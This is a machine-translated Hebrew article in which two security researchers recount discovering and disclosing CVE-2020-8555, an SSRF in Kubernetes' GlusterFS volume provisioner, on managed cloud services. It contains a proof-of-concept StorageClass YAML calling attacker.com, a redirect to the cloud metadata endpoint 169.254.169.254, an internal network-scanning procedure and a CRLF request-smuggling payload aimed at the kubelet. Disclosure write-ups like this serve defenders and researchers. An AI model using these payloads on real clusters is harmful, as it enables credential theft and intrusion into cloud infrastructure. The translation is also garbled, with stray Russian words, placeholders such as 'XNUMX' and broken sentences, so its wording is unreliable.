כשזה לא רק על פרצות Kubernetes...

הערה. תרגום: מחברי המאמר הזה מדברים בפירוט על איך הם הצליחו לגלות את הפגיעות CVE-2020–8555 ב-Kubernetes. למרות שבתחילה זה לא נראה מאוד מסוכן, בשילוב עם גורמים אחרים התברר שהקריטיות שלו הייתה מקסימלית עבור חלק מספקי הענן. כמה ארגונים תגמלו בנדיבות את המומחים על עבודתם.

מי אנחנו

אנחנו שני חוקרי אבטחה צרפתים שגילו במשותף פגיעות ב-Kubernetes. השמות שלנו הם Brice Augras וכריסטוף Hauquiert, אבל בפלטפורמות רבות של Bug Bounty אנחנו ידועים בתור Reeverzax ו-Hach בהתאמה:

• בריס אוגראס - חברת Groupe Asten;
• כריסטוף האוקווייר - אדריכל Kubernetes בחברת נוקיה.

מה קרה?

מאמר זה הוא הדרך שלנו לשתף כיצד פרויקט מחקר רגיל הפך במפתיע להרפתקה המרגשת ביותר בחייהם של ציידי חרקים (לפחות לעת עתה).

כפי שאתה בוודאי יודע, לציידי באגים יש כמה תכונות בולטות:

• הם חיים על פיצה ובירה;
• הם עובדים כשכולם ישנים.

אנחנו לא יוצאים מהכללים האלה: אנחנו בדרך כלל נפגשים בסופי שבוע ומעבירים לילות ללא שינה בפריצה. אבל אחד הלילות האלה הסתיים בצורה מאוד יוצאת דופן.

בתחילה עמדנו להיפגש כדי לדון בהשתתפות CTF היום שאחרי. במהלך שיחה על אבטחת Kubernetes בסביבת שירות מנוהלת, נזכרנו ברעיון הישן של SSRF (זיוף בקשת צד שרת) והחליט לנסות להשתמש בו כסקריפט התקפה.

בשעה 11:XNUMX ישבנו לעשות מחקר והלכנו לישון מוקדם בבוקר, מרוצים מאוד מהתוצאות. זה היה בגלל המחקר הזה שנתקלנו בתוכנית MSRC Bug Bounty והגענו לניצול הסלמה של הרשאות.

עברו מספר שבועות/חודשים, והתוצאה הבלתי צפויה שלנו הביאה לאחד התגמולים הגבוהים ביותר בהיסטוריה של Azure Cloud Bug Bounty - בנוסף לזה שקיבלנו מ-Kubernetes!

בהתבסס על פרויקט המחקר שלנו, ועדת אבטחת המוצר של Kubernetes פרסמה CVE-2020–8555.

כעת אני רוצה להפיץ מידע על הפגיעות שנמצאה ככל האפשר. אנו מקווים שאתה מעריך את הממצא ושתף את הפרטים הטכניים עם חברים אחרים בקהילת infosec!

אז הנה הסיפור שלנו...

הֶקשֵׁר

כדי להבין בצורה הטובה ביותר מה קרה, בואו נסתכל תחילה כיצד Kubernetes עובד בסביבה מנוהלת בענן.

כאשר אתה מייצר אשכול Kubernetes בסביבה כזו, שכבת הניהול היא בדרך כלל באחריות ספק הענן:

שכבת הבקרה ממוקמת בהיקף של ספק הענן, בעוד שצמתי Kubernetes ממוקמים בהיקף של הלקוח

להקצאה דינמית של נפחים, נעשה שימוש במנגנון למתן אספקה ​​דינמית שלהם מ-backend חיצוני של אחסון ולהשוות אותם ל-PVC (טענת נפח מתמשכת, כלומר בקשה לנפח).

לפיכך, לאחר יצירת ה-PVC ונקשר ל-StorageClass באשכול K8s, פעולות נוספות לספק את עוצמת הקול משתלטות על ידי מנהל ה-kube/cloud controller (השם המדויק שלו תלוי במהדורה). (הערה. תרגום: כבר כתבנו יותר על CCM באמצעות הדוגמה של הטמעתו עבור אחת מספקיות הענן כאן.)

ישנם מספר סוגים של אספקה ​​נתמכים על ידי Kubernetes: רובם כלולים ב ליבת מתזמר, בעוד שאחרים מנוהלים על ידי פרוספקטים נוספים הממוקמים ב-pods באשכול.

במחקר שלנו, התמקדנו במנגנון הקצאת הנפח הפנימי, המודגם להלן:

הקצאה דינמית של אמצעי אחסון באמצעות הספק המובנה של Kubernetes

בקיצור, כאשר Kubernetes נפרסת בסביבה מנוהלת, מנהל הבקר הוא באחריות ספק הענן, אך בקשת יצירת הנפח (מספר 3 בתרשים למעלה) יוצאת מהרשת הפנימית של ספק הענן. וכאן הדברים ממש מעניינים!

תרחיש פריצה

בסעיף זה נסביר כיצד ניצלנו את זרימת העבודה שהוזכרה לעיל וניגשנו למשאבים הפנימיים של ספק שירותי הענן. זה גם יראה לך איך אתה יכול לבצע פעולות מסוימות, כגון השגת אישורים פנימיים או הסלמה של הרשאות.

מניפולציה פשוטה אחת (במקרה זה, זיוף בקשת שירות בצד) עזרה לחרוג מסביבת הלקוח לתוך אשכולות של ספקי שירות שונים תחת K8s מנוהלים.

במחקר שלנו התמקדנו בספק GlusterFS. למרות העובדה שרצף הפעולות הנוסף מתואר בהקשר זה, Quobyte, StorageOS ו-ScaleIO רגישים לאותה פגיעות.

שימוש לרעה במנגנון הקצאת נפח דינמי

במהלך ניתוח שיעורי אחסון GlusterFS בקוד המקור של הלקוח של Golang אנחנו שם לבשבבקשת ה-HTTP הראשונה (3) שנשלחה במהלך יצירת הכרך, לסוף כתובת האתר המותאמת בפרמטר resturl נוסף /volumes.

החלטנו להיפטר מהנתיב הנוסף הזה על ידי הוספה # בפרמטר resturl. הנה תצורת YAML הראשונה שבה השתמשנו כדי לבדוק פגיעות SSRF עיוורת למחצה (תוכל לקרוא עוד על SSRF חצי עיוור או חצי עיוור, למשל, כאן - משוער. תרגום):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

לאחר מכן השתמשנו בבינארי כדי לנהל מרחוק את אשכול Kubernetes קובקטל. בדרך כלל, ספקי ענן (Azure, Google, AWS וכו') מאפשרים לך להשיג אישורים לשימוש בכלי השירות הזה.

הודות לכך, יכולתי להשתמש בקובץ ה"מיוחד" שלי. Kube-controller-manager ביצע את בקשת ה-HTTP שהתקבלה:

kubectl create -f sc-poc.yaml

התשובה מנקודת מבטו של התוקף

זמן קצר לאחר מכן, הצלחנו לקבל גם תגובת HTTP משרת היעד - באמצעות הפקודות describe pvc או get events ב- kubectl. ואכן: דרייבר ברירת המחדל הזה של Kubernetes הוא מפורט מדי באזהרות/הודעות השגיאה שלו...

הנה דוגמה עם קישור ל https://www.google.frמוגדר כפרמטר resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

בגישה זו, הוגבלנו לשאילתות כמו פוסט HTTP ולא יכול היה לקבל את התוכן של גוף התגובה אם קוד ההחזרה היה 201. לכן, החלטנו לערוך מחקר נוסף והרחבנו את תרחיש הפריצה עם גישות חדשות.

האבולוציה של המחקר שלנו

• תרחיש מתקדם מס' 1: שימוש בהפניה 302 משרת חיצוני כדי לשנות את שיטת ה-HTTP כדי לספק דרך גמישה יותר לאיסוף נתונים פנימיים.
• תרחיש מתקדם מס' 2: אוטומציה של סריקת LAN וגילוי משאבים פנימיים.
• תרחיש מתקדם מס' 3: שימוש ב-HTTP CRLF + הברחה ("הברחת בקשות") כדי ליצור בקשות HTTP מותאמות ולאחזר נתונים שחולצו מיומני ה-kube-controller.

מפרט טכני

• המחקר השתמש ב-Azure Kubernetes Service (AKS) עם Kubernetes גרסה 1.12 באזור צפון אירופה.
• התרחישים המתוארים לעיל בוצעו במהדורות האחרונות של Kubernetes, למעט התרחיש השלישי, מכיוון הוא היה צריך Kubernetes שנבנה עם Golang גרסה ≤ 1.12.
• שרת חיצוני של התוקף - https://attacker.com.

תרחיש מתקדם מס' 1: הפניית בקשת HTTP POST ל-GET וקבלת נתונים רגישים

השיטה המקורית שופרה על ידי תצורת השרת של התוקף לחזור 302 HTTP Recodeכדי להמיר בקשת POST לבקשת GET (שלב 4 בתרשים):

בקשה ראשונה (3) מגיעה מהלקוח GlusterFS (מנהל הבקר), יש סוג POST. על ידי ביצוע השלבים הבאים הצלחנו להפוך אותו ל-GET:

• בתור פרמטר resturl ב StorageClass זה מצוין http://attacker.com/redirect.php.
• נקודת קצה https://attacker.com/redirect.php מגיב עם קוד סטטוס 302 HTTP עם כותרת המיקום הבאה: http://169.254.169.254. זה יכול להיות כל משאב פנימי אחר - במקרה זה, הקישור להפניה מחדש משמש אך ורק כדוגמה.
• ברירת מחדל ספריית net/http Golang מפנה את הבקשה וממיר את ה-POST ל-GET עם קוד סטטוס 302, וכתוצאה מכך בקשת HTTP GET למשאב היעד.

כדי לקרוא את גוף תגובת ה-HTTP אתה צריך לעשות describe חפץ PVC:

kubectl describe pvc xxx

הנה דוגמה לתגובת HTTP בפורמט JSON שהצלחנו לקבל:

היכולות של הפגיעות שנמצאה באותו זמן הוגבלו בשל הנקודות הבאות:

• חוסר יכולת להכניס כותרות HTTP לבקשה היוצאת.
• חוסר יכולת לבצע בקשת POST עם פרמטרים בגוף (זה נוח לבקש את ערך המפתח ממופע etcd שפועל על 2379 יציאה אם ​​נעשה שימוש ב-HTTP לא מוצפן).
• חוסר יכולת לאחזר את תוכן גוף התגובה כאשר קוד הסטטוס היה 200 ולתשובה לא היה JSON Content-Type.

תרחיש מתקדם מס' 2: סריקת הרשת המקומית

שיטת SSRF חצי עיוורת זו שימשה לאחר מכן כדי לסרוק את הרשת הפנימית של ספק הענן ולסקר שירותי האזנה שונים (מופע Metadata, Kubelet וכו' וכו') בהתבסס על התגובות בקר kube.

ראשית, נקבעו יציאות ההאזנה הסטנדרטיות של רכיבי Kubernetes (8443, 10250, 10251 וכו'), ולאחר מכן היינו צריכים להפוך את תהליך הסריקה לאוטומטי.

כשראינו ששיטת סריקת משאבים זו היא מאוד ספציפית ואינה תואמת לסורקים ולכלי SSRF קלאסיים, החלטנו ליצור עובדים משלנו בסקריפט bash שיהפוך את כל התהליך לאוטומטי.

לדוגמה, על מנת לסרוק במהירות את הטווח 172.16.0.0/12 של הרשת הפנימית, הושקו במקביל 15 עובדים. טווח ה-IP הנ"ל נבחר כדוגמה בלבד והוא עשוי להיות נתון לשינוי בטווח ה-IP של ספק השירות הספציפי שלך.

כדי לסרוק כתובת IP אחת ויציאה אחת, עליך לבצע את הפעולות הבאות:

• מחק את StorageClass האחרון שנבדק;
• להסיר את תביעת נפח מתמשכת המאומתת הקודמת;
• שנה את ערכי ה- IP והפורטים ב sc.yaml;
• צור StorageClass עם IP ויציאה חדשים;
• ליצור PVC חדש;
• לחלץ תוצאות סריקה באמצעות describe עבור PVC.

תרחיש מתקדם מס' 3: הזרקת CRLF + הברחת HTTP בגרסאות "ישנות" של אשכול Kubernetes

אם בנוסף לכך הספק הציע ללקוחות גרסאות ישנות של אשכול K8s и נתן להם גישה ליומנים של kube-controller-manager, ההשפעה הפכה משמעותית עוד יותר.

זה אכן הרבה יותר נוח לתוקף לשנות בקשות HTTP שנועדו לקבל תגובת HTTP מלאה לפי שיקול דעתו.

כדי ליישם את התרחיש האחרון, היה צריך לעמוד בתנאים הבאים:

• למשתמש חייבת להיות גישה ליומני kube-controller-manager (כמו, למשל, ב-Azure LogInsights).
• אשכול Kubernetes חייב להשתמש בגרסה של Golang נמוכה מ-1.12.

פרסנו סביבה מקומית שדמה תקשורת בין לקוח GlusterFS Go לשרת יעד מזויף (נמנע מפרסום ה-PoC לעת עתה).

נמצא פגיעות, משפיע על גרסאות גולאנג נמוכות מ-1.12 ומאפשר להאקרים לבצע הברחת HTTP/התקפות CRLF.

על ידי שילוב SSRF חצי עיוור שתואר לעיל вместе עם זה, הצלחנו לשלוח בקשות לטעמנו, כולל החלפת כותרות, שיטת HTTP, פרמטרים ונתונים, שאותם עיבד kube-controller-manager.

הנה דוגמה ל"פיתיון" עובד בפרמטר resturl StorageClass, המיישמת תרחיש התקפה דומה:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

התוצאה היא טעות תגובה לא רצויה, הודעה לגביה מתועדת ביומני הבקר. הודות למילוליות המופעלת כברירת מחדל, התוכן של הודעת תגובת ה-HTTP נשמר שם גם.

זה היה ה"פיתיון" היעיל ביותר שלנו במסגרת הוכחת הרעיון.

באמצעות גישה זו, הצלחנו לבצע כמה מההתקפות הבאות על אשכולות של ספקי k8s מנוהלים שונים: הסלמה של הרשאות עם אישורים על מופעי מטא נתונים, מאסטר DoS באמצעות בקשות HTTP (לא מוצפנות) על מופעי מאסטר etcd וכו'.

תופעות

בהצהרה הרשמית של Kubernetes בנוגע לפגיעות ה-SSRF שגילינו, היא דורגה CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. אם ניקח בחשבון רק את הפגיעות הקשורה להיקף Kubernetes, וקטור השלמות (וקטור שלמות) זה מתאים כ ללא חתימה.

עם זאת, הערכת ההשלכות האפשריות בהקשר של סביבת שירות מנוהלת (וזה היה החלק המעניין ביותר במחקר שלנו!) הניעה אותנו לסווג מחדש את הפגיעות לדירוג CVSS10/10 קריטי עבור מפיצים רבים.

להלן מידע נוסף שיעזור לך להבין את השיקולים שלנו בעת הערכת ההשפעות הפוטנציאליות בסביבות ענן:

יושרה

• בצע פקודות מרחוק באמצעות אישורים פנימיים שנרכשו.
• שחזור התרחיש לעיל באמצעות שיטת IDOR (Insecure Direct Object Reference) עם משאבים אחרים שנמצאים ברשת המקומית.

Конфиденциальность

• סוג התקפה תנועה צדדית הודות לגניבה של אישורי ענן (לדוגמה, API של metadata).
• איסוף מידע על ידי סריקת הרשת המקומית (קביעת גרסת SSH, גרסת שרת HTTP,...).
• אסוף מידע על מופעים ותשתיות על ידי סקר ממשקי API פנימיים כגון ממשק API של מטא נתונים (http://169.254.169.254, ...).
• גניבת נתוני לקוחות באמצעות אישורי ענן.

זמינות

כל תרחישי הניצול הקשורים לוקטורי התקפה על יושרה, יכול לשמש לפעולות הרסניות ולהוביל לכך שמופעי מאסטר מהיקף הלקוח (או כל אחר) אינם זמינים.

מכיוון שהיינו בסביבת K8s מנוהלת והערכנו את ההשפעה על שלמות, אנו יכולים לדמיין תרחישים רבים שעלולים להשפיע על הזמינות. דוגמאות נוספות כוללות השחתת מסד הנתונים etcd או ביצוע קריאה קריטית ל-Kubernetes API.

ציר זמן

• 6 בדצמבר 2019: דיווח על פגיעות ל-MSRC Bug Bounty.
• 3 בינואר 2020: צד שלישי הודיע ​​למפתחי Kubernetes שאנחנו עובדים על בעיית אבטחה. וביקשו מהם להתייחס ל-SSRF כאל פגיעות פנימית (בתוך הליבה). לאחר מכן סיפקנו דוח כללי עם פרטים טכניים על מקור הבעיה.
• 15 בינואר 2020: סיפקנו דוחות טכניים וכלליים למפתחי Kubernetes לפי בקשתם (דרך פלטפורמת HackerOne).
• 15 בינואר 2020: מפתחי Kubernetes הודיעו לנו שהזרקת SSRF + CRLF עיוורת למחצה עבור מהדורות קודמות נחשבת לפגיעות בתוך הליבה. מיד הפסקנו לנתח את ההיקפים של ספקי שירות אחרים: צוות K8s טיפל כעת בשורש.
• 15 בינואר 2020: תגמול MSRC התקבל דרך HackerOne.
• 16 בינואר 2020: Kubernetes PSC (ועדת אבטחת המוצר) זיהתה את הפגיעות וביקשה לשמור אותה בסוד עד אמצע מרץ בשל המספר הגדול של קורבנות פוטנציאליים.
• 11 בפברואר 2020: תגמול VRP של Google התקבל.
• 4 במרץ 2020: תגמול Kubernetes התקבל דרך HackerOne.
• 15 במרץ 2020: החשיפה לציבור שתוכננה במקור נדחתה עקב מצב ה-COVID-19.
• 1 ביוני 2020: הצהרה משותפת של Kubernetes + Microsoft לגבי הפגיעות.

TL; DR

• שותים בירה ואוכלים פיצה :)
• גילינו פגיעות בתוך הליבה ב-Kubernetes, למרות שלא הייתה לנו כוונה לעשות זאת.
• ביצענו ניתוח נוסף על אשכולות של ספקי ענן שונים והצלחנו להגדיל את הנזק שנגרם מהפגיעות כדי לקבל בונוסים מדהימים נוספים.
• תמצא הרבה פרטים טכניים במאמר זה. נשמח לדבר איתך עליהם (טוויטר: @ReeverZax & @__hach_).
• התברר שכל מיני פורמליות ודיווחים ארכו הרבה יותר מהצפוי.

תזכור

• Google group kubernetes-security-announce;
• CVE-2020-8555;
• גיליון גולאנג מס' 30794;
• heketi/client/api/go-client/volume.go.

נ.ב מהמתרגם

קרא גם בבלוג שלנו:

• «ציד הבאגים של Kubernetes נפתח רשמית";
• «יציאה מתרמיל ב-Kubernetes על ידי הרכבת יומנים";
• «33+ כלי אבטחה של Kubernetes".

מקור: www.habr.com